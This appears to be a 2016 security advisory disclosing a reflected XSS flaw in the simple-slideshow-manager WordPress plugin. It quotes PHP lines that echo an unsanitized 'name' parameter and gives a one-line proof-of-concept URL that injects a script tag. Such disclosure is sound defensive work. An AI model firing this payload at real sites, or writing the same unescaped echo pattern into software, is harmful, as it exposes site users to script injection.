Advisory #: 484
Title: Reflected XSS in wordpress plugin simple-slideshow-manager v2.1.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/simple-slideshow-manager
Downloads: 65903
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: simple-slideshow-manager
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./simple-slideshow-manager/acx_slideshow_managegallery.php: 746: <input type = "text" autocomplete="off" id = "rename" name = "rename" class="field" value="<?php echo $_GET['name']; ?>" onblur="if (this.value == '') {this.value = '<?php echo $_GET['name']; ?>';}" onfocus="if (this.value == '<?php echo $_GET['name']; ?>') {this.value = '';}" /> 747: <input type = "hidden" id="old_name" name="old_name" value = "<?php echo $_GET['name']; ?>"/> 1057: <input type = "hidden" id="acx_gall_name" name="acx_gall_name" value = "<?php echo $_GET['name']; ?>"/> The variable name appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./simple-slideshow-manager/acx_slideshow_managegallery.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/simple-slideshow-manager/acx_slideshow_managegallery.php?name="><script>alert(1);</script><"